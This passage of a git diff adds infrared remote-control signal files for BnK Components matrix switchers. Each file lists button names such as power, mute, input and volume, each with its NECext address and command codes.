00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 40 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 4A 00 00 00 +# +name: PRE_+ +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 4B 00 00 00 +# +name: D_-_IN +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 76 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir new file mode 100644 index 000000000..f6a7a0beb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 0F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 4A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 6F 09 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir new file mode 100644 index 000000000..2920140c2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 29 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 76 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir new file mode 100644 index 000000000..8c08a68f6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir new file mode 100644 index 000000000..37e18ca1d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 2E 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 3F 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 7F 08 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir new file mode 100644 index 000000000..4bec05029 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 40 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 4A 00 00 00 +# +name: MUTEPRE_+ +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 4B 00 00 00 +# +name: D_-_IN +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: 80 F7 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir new file mode 100644 index 000000000..6e1616242 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 18 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 1B 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 30 00 00 00 +# +name: NEW_CODE +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 4A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir new file mode 100644 index 000000000..044de1ee4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir @@ -0,0 +1,344 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 1B 00 00 00 